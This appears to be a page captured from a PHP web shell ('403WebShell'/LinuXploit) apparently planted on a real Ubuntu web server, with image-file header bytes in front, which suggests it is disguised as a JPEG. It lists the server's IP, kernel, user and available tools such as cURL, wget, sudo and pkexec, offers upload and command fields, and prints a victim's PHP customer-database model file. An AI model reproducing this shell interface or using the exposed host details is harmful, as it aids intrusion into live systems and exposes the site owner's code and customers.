����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.218.96.239
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/mueblesOLDMAYO/application/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/mueblesOLDMAYO/application/model/clientes.php
<?php
class sql extends dbconn {
	public function __construct()
	{
		$this->initDBO();
	}
	
		//$new = $dtbs->new_customer($nm,$cont,$conyu,$dire,$come,$cred,$pob,$phn);
	public function new_customer($nm,$cont,$conyu,$dire,$come,$cred,$pob,$phn)
	{
		$db = $this->dblocal;
		try
		{
			////`name`, `contract`, `conyugue`, `direccion`, `come_in`, `credito`, `poblacion`, `phone`
			$stmt = $db->prepare("insert into customer (name, contract, conyugue, direccion, come_in, credito, poblacion, phone) values (:nm,:cont,:conyu,:dire,:come,:cred,:pob, :phn) ");
			$stmt->bindParam("nm",$nm);
			$stmt->bindParam("cont",$cont);
			$stmt->bindParam("conyu",$conyu);
			$stmt->bindParam("dire",$country);
			$stmt->bindParam("come",$come);
			$stmt->bindParam("cred",$cred);
			$stmt->bindParam("pob",$pob);
			$stmt->bindParam("phn",$phn);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Cliente Guardado";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}
	
	
	public function new_client($nm,$cont){
	  $db = $this->dblocal;
	  try
	  {
	   $stmt = $db->prepare("insert into customer ( name , contract ) values ( :name , :contract )");
	   $stmt->bindParam("name",$nm);
	     $stmt->bindParam("contract",$cont);
	   $stmt->execute();
	   $stat[0] = true;
	   $stat[1] = "Success save!";
	   $stat[2] =  $stmt->fetchColumn(0);
	   return $stat;
	 }
	 catch(PDOException $ex)
	 {
	   $stat[0] = false;
	   $stat[1] = $ex->getMessage();
	   return $stat;
	 }
}



	public function list_customer()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from customer order by id_cust desc limit 100");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List customer";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	
	public function list_customer2()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from customer order by id_cust desc limit 100");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List customer";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	
	//empleo
	public function list_job()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from job order by id_cust desc limit 100");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List job";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	
	//cobranza
	public function list_col()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from collection_data order by id_cust desc limit 100");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List job";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	//editamos al cliente
	public function edit_client($contract,$nombre,$conyugue,$direccion,$come_in,$telefono,$credito,$poblacion)
	{
		$db = $this->dblocal;
		try
		{
			//UPDATE `customer` SET `conyugue` = 'ALMA RODRIGUEZ 34' WHERE `customer`.`id_cust` = 87; 
			$stmt = $db->prepare("update customer set name = :nombre, conyugue = :conyugue, direccion= :direccion, come_in= :come_in, phone= :telefono, credito = :credito, poblacion = :poblacion where `customer`.`contract` = :contract ");
			$stmt->bindParam("contract",$contract);
			$stmt->bindParam("nombre",$nombre);
			$stmt->bindParam("conyugue",$conyugue);
			$stmt->bindParam("come_in",$come_in);
			$stmt->bindParam("direccion",$direccion);
			$stmt->bindParam("telefono",$telefono);
			$stmt->bindParam("credito",$credito);
			$stmt->bindParam("poblacion",$poblacion);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Success edit customer";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}

	public function delete_customer($id)
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("delete from customer where id_cust = :id");
			$stmt->bindParam("id",$id);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Success delete customer";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}
	
	public function autoCompleteCustomer($term)
	{
		  $trm = "%".$term."%";
		  $db = $this->dblocal;
		  try
		  {
		   $stmt = $db->prepare("SELECT a.* FROM customer a WHERE  name  like :term order by name desc");
		   $stmt->bindParam("term",$trm);
		   $stmt->execute();
		   $stat[0] = true;
		   $stat[1] = $stmt->fetchAll(PDO::FETCH_ASSOC);
		   return $stat;
		 }
		 catch(PDOException $ex)
		 {
		   $stat[0] = false;
		   $stat[1] = $ex->getMessage();
		   return $stat;
		 }
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit